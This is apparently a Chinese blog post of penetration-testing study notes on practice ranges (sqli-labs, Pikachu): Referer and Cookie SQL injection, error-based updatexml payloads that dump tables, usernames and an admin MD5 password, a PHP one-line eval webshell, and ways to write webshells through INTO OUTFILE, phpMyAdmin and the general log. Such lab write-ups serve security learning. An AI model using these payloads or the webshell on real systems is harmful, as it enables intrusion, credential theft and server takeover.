• SQL注入-下篇


    HTTP注入

    一、Referer注入

    概述

    当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器的。
    如直接在浏览器器的URL栏输入网址访问网站是没有referer的,需要在一个打开的网站中,点击链接跳转到另一个页面。

    Less-19
    1. 判断也是是否存在注入

    image.png
    image.png

    1. 尝试注入
      1. 使用单引号判断

    image.png

    1. 闭合SQL
     http://10.196.93.67/sqli-labs/Less-19/','' ) #  
    

    image.png

    1. 构造语句并注入
      1. 判断是插入语句,尝试报错注入。
    http://10.196.93.67/sqli-labs/Less-19/'and updatexml(1,concat('~',(select database()),'~'),1),'' ) #   
    

    image.png

    二、Cookies注入

    1. 判断是否有注入
      1. 显示请求头信息

    image.png

    1. 闭合语句
      1. 单引号尝试报错,可能注入

    image.png

    1. 添加井号,闭合完成

    image.png

    1. 构造语句并注入
      1. 报错注入
    Cookie: uname=v 'and updatexml(1,concat('~',(select user()),'~'),1) #  
    

    image.png

    pikachu靶场搭建

    1. github地址:https://github.com/zhuifengshaonianhanlu/pikachu
    2. 下载后解压放入文件到Apache服务中的www根目录中
    3. 在mysql数据库中创建一个任意的数据库(示例:pikachu)
    4. 在pikachu目录中找到config.inc.php文件
      1. 位置:WWW\pikachu\inc文件下
    5. 修改config.inc.php配置
    # DBNAME 为创建的开始创建的空数据库
    #
    <?php
    //全局session_start
    session_start();
    //全局居设置时区
    date_default_timezone_set('Asia/Shanghai');
    //全局设置默认字符
    header('Content-type:text/html;charset=utf-8');
    //定义数据库连接参数
    define('DBHOST', '127.0.0.1');//将localhost或者127.0.0.1修改为数据库服务器的地址
    define('DBUSER', 'root');//将root修改为连接mysql的用户名
    define('DBPW', 'root');//将root修改为连接mysql的密码,如果改了还是连接不上,请先手动连接下你的数据库,确保数据库服务没问题在说!
    define('DBNAME', 'pikachu');//自定义,建议不修改
    define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306
    
    ?>
    
    
    1. 网站初始化
      1. 进入网址:http://localhost/pikachu/install.php
      2. 点击初始化按钮,出现下方的红字,初始化成功。

    image.png

    注入漏洞登录网站(pikachu靶场)

    一、寻找注入点

    1. 网址:http://10.196.93.67/pikachu/vul/sqli/sqli_iu/sqli_reg.php
    2. 判断是否能注入:
      1. 单引号判断,出现sql报错既可注入。
      2. image.png
      3. image.png

    二、闭合语句

    1. 注册功能,使用的是插入,大概率补全字段数既可闭合语句。
    username=','','','','','')# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
    

    image.png

    三、注入

    1. 尝试报错注入
      1. 数据库名:pikachu
    username=','','','','',''and updatexml(1,concat('~!',(select database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
    

    image.png

    1. 查询pikachu中表名
      1. 查询表的数量
    username=','','','','',''and updatexml(1,concat('~',(select count(*) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
    # 结果:5张
    

    image.png

    1. 使用group_concat()查询()
    # sql
    username=','','','','',''and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.`TABLES` where TABLE_SCHEMA = database()),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
    #结果:XPATH syntax error: '~httpinfo,member,message,users,x'
    # 并没有显示完整,还差最后一张
    # 查询最后一张,使用limit或直接使用suhstr()
    # sql
    username=','','','','',''and updatexml(1,concat('~',(select table_name from information_schema.`TABLES` where TABLE_SCHEMA = database()limit 4,1),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
    # 结果:XPATH syntax error: '~xssblind~'
    
    # 最后查询结果:httpinfo,member,message,users,xssblind
    
    
    

    image.png
    image.png

    1. 查询users表中的字段名称
    username=','','','','',''and updatexml(1,concat('~',(select GROUP_CONCAT(column_name) from information_schema.`COLUMNS` where TABLE_SCHEMA = 'pikachu' and TABLE_NAME = 'users'),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
    # 结果:XPATH syntax error: '~id,username,password,level~'
    

    image.png

    1. 查询users表中的数据
      1. 查询用户名
    username=','','','','',''and updatexml(1,concat('~',(select group_concat(username) from users),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit  
    # 结果:XPATH syntax error: '~admin,pikachu,test~'
    

    image.png

    1. 查询admin用户密码
    username=','','','','',''and updatexml(1,concat('~',(select password from users where username = "admin"),'~'),1))# &password=%27&sex=%27&phonenum=%27&email=%27&add=%27&submit=submit
    # 结果:XPATH syntax error: '~e10adc3949ba59abbe56e057f20f883' 
    # 根据结果发现:
    # 一:密码使用md5加密
    # 二:密码并没有显示完全,需要在使用substr()截取函数,补全密码并解码
    # 真实密码:e10adc3949ba59abbe56e057f20f883e 
    # 解码得:123456
    
      1. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1718765775832-d22d61a3-7225-4b94-98c4-c3b847844bcb.png#averageHue=%23626161&clientId=u0c23c550-2eef-4&from=paste&height=614&id=uc59ac8c5&originHeight=614&originWidth=1343&originalType=binary&ratio=1&rotation=0&showTitle=false&size=72813&status=done&style=none&taskId=ue08d257f-066c-4145-8f12-84cab89f64d&title=&width=1343)
      2. ![image.png](https://cdn.nlark.com/yuque/0/2024/png/38516294/1718765956800-75a89c27-539b-4481-82d7-2e56c86379ce.png#averageHue=%23f6f6f5&clientId=u0c23c550-2eef-4&from=paste&height=282&id=ua689a11a&originHeight=282&originWidth=860&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24564&status=done&style=none&taskId=u0f221d0c-234e-47d1-8477-af918a5df21&title=&width=860)
    

    webShell

    一、简介

    webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
    顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。

    二、网站渗透流程

    1、信息收集
    2、网站漏洞挖掘
    3 利用漏洞
      3.1、获取webShell
      3.2、获取网站后台权限
        3.2.1、获取webShell
    

    三、一句话木马

    一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用

    1 满足条件
    1. 木木马成功上传,为被杀
    2. 知道木马的路径在哪
    3. 上传的木马能正常运行
    4. 有PHP运行环境
    2 PHP
    # @ :表示后面及时后面执行错误,也不会报错。
    # eval() 把参数当做代码来执行。
    # 以POST方式获取到cmd的值
    <?php @eval($_POST["cmd"]); ?>
    
    # 扩展:php方法
    # 可以执行系统命令
    # 容易被杀毒软件杀掉
    system();
    

    3 中国蚁剑
    1. 连接

    image.png

    1. 打开虚拟终端

    image.png

    四、SQL注入获取webShell

    1. 前提条件
      1. 当前sql注入用户必须为DBA权限(–is-dba为true)
      2. 需要知道网站的绝对路径
      3. My.ini文件中的这项配置secure_file_priv = “” 为空
    2. 技巧
      1. 单引号暴露绝对路径/错误参数暴露绝对路径

    image.png

    1. secure_file_priv注入演示
      1. 设置my.ini 该字段为空
    secure_file_priv = 
    

    image.png

    1. 注入
    select * from `security`.users where id = '-1' union select 1,2,LOAD_FILE("D:/phpStudy/PHPTutorial/WWW/sqli-labs/Less-1/index.php/INDEX.php");
    
    1. into outfile
      1. 将查询数据写到到本地
    select *  into outfile 'D:/phpStudy/PHPTutorial/MySQL/aaaaa.txt' from `security`.users ;
    

    五、phpmyAdmin获取webShell

    1. 前提条件
      1. 当前sql注入用户必须为DBA权限(–is-dba为true)
      2. 需要知道网站的绝对路径
      3. My.ini文件中的这项配置secure_file_priv = “” 为空
    2. 宝塔漏洞
      1. 访问网址既可进入到phpMyAdmin管理页面
      2. http://www.xx.com:888/pma
    3. 通过查询将一句话木马写到到本地。

    六、全局日志

    1. 设置全局日志
    set global general_log_file = 'xxx/xx.php'
    # 再写入一句话木马
    

    DnsLog盲注

    使用网址:http://www.dnslog.cn/

    利用条件

    image.png

    固定语句

    image.png

  • 相关阅读:
    atguigu8 集群
    景联文科技:深度探究自动驾驶重要方向——车路协同
    基于ssm协同过滤推荐算法的电影院购票系统毕业设计源码131124
    中英文说明书丨艾美捷1,2-二硬脂酰-sn-甘油-3-PC(DSPC)
    【 java 枚举类】java 枚举类
    淘宝天猫API_获取商品详情原数据
    【skynet】skynet入口解析
    [架构之路-220]:与机器打交道VS与人打交道,计算机系统VS人体系统,计算机网络VS人类社会:架构、通信、语言、网络、智能、情感、生命
    阿里云3M固定带宽服务器速度快吗?是否够用?
    java合成多个pdf为一个pdf
  • 原文地址:https://blog.csdn.net/weixin_45793745/article/details/139811398